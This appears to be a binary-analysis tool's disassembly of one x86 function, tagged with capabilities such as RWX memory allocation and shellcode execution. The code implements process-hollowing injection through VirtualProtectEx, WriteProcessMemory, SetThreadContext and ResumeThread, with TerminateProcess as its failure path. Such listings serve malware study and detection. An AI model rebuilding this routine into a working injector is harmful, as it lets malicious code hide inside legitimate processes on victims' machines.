Function at 0x4a2b40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2f4
push ebx
xor ebx, ebx
push esi
mov esi, dword [ebp + 0x30]
xor eax, eax
cmp esi, ebx
push edi
mov ecx, 0xb2
lea edi, [esp + 0x34]
mov dword [esp + 0x30], ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x2c], eax
jne 0x4a2b85
lea esi, [esp + 0x20]
mov ecx, dword [ebp + 0x34]
mov edx, dword [ebp + 0x2c]
mov eax, dword [ebp + 0x28]
push ecx
mov ecx, dword [ebp + 0x24]
push esi
push edx
mov edx, dword [ebp + 0x20]
push eax
mov eax, dword [ebp + 0x1c]
push ecx
push edx
push eax
lea ecx, [esp + 0x2c]
push ecx
mov ecx, dword [ebp + 8]
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x54]
push eax
push ecx
call fcn.004a2a10
mov ecx, dword [esi]
add esp, 0x2c
cmp ecx, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x4a2bc6
mov dword [esi], ebx
cmp dword [esi + 4], 0xffffffff
jne 0x4a2bcf
mov dword [esi + 4], ebx
cmp eax, ebx
jle 0x4a2d55
mov edi, dword [ebp + 0xc]
mov eax, dword [esp + 0x14]
cmp dword [edi + 0x34], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 0x1c], ebx
mov ebx, dword [ebp + 0x18]
jne 0x4a2c11
mov ecx, dword [esp + 0x10]
cmp ecx, ebx
jb 0x4a2c11
lea edx, [esp + 0x1c]
push edx
push 0x40
push ecx
push eax
mov dword [esp + 0x1c], eax
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x4a2c99
mov ecx, dword [0x51d640]
test ecx, ecx
je 0x4a2d61
mov ecx, dword [esi]
push eax
push ecx
call fcn.004a2950
add esp, 8
test eax, eax
je 0x4a2c48
mov edx, dword [edi + 0x34]
mov eax, dword [esi]
push 0x40
push 0x3000
push ebx
push edx
push eax
call dword [0x51d640]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x4a2ca5
mov eax, dword [edi + 0xa0]
test eax, eax
je 0x4a2d61
mov eax, dword [edi + 0xa4]
test eax, eax
je 0x4a2d61
mov ecx, dword [esi]
push 0x40
push 0x3000
push ebx
push 0
push ecx
call dword [0x51d640]
test eax, eax
mov dword [esp + 0xc], eax
je 0x4a2d61
mov edx, dword [ebp + 0x14]
push eax
push edx
push edi
call fcn.004a28e0
add esp, 0xc
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4a2d61
mov edx, dword [esp + 0xd4]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x10]
push eax
mov eax, dword [esi]
push 4
lea ecx, [esp + 0x14]
push ecx
add edx, 8
push edx
push eax
mov dword [esp + 0x24], 0
call ebx
mov edx, dword [ebp + 0x18]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [ebp + 0x14]
push edx
push ecx
mov dword [edi + 0x34], eax
mov edx, dword [esi]
push eax
push edx
call ebx
test eax, eax
je 0x4a2d5c
mov eax, dword [esp + 0xc]
cmp eax, dword [esp + 0x14]
mov dword [esp + 0x30], 0x10007
jne 0x4a2d0e
mov eax, dword [edi + 0x28]
add eax, dword [edi + 0x34]
mov dword [esp + 0xe0], eax
jmp 0x4a2d1a
mov ecx, dword [edi + 0x28]
add ecx, eax
mov dword [esp + 0xe0], ecx
mov eax, dword [esi + 4]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test byte [ebp + 0x20], 4
jne 0x4a2d39
mov ecx, dword [esi + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp + 0x30]
test eax, eax
jne 0x4a2d51
mov edx, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi]
push eax
call edi
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
or ebx, 0xffffffff
jmp 0x4a2d66
mov ebx, 0xfffffffe
mov ecx, dword [esi]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov dword [esi + 4], 0
mov eax, dword [esi]
push eax
call edi
pop edi
mov dword [esi], 0
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret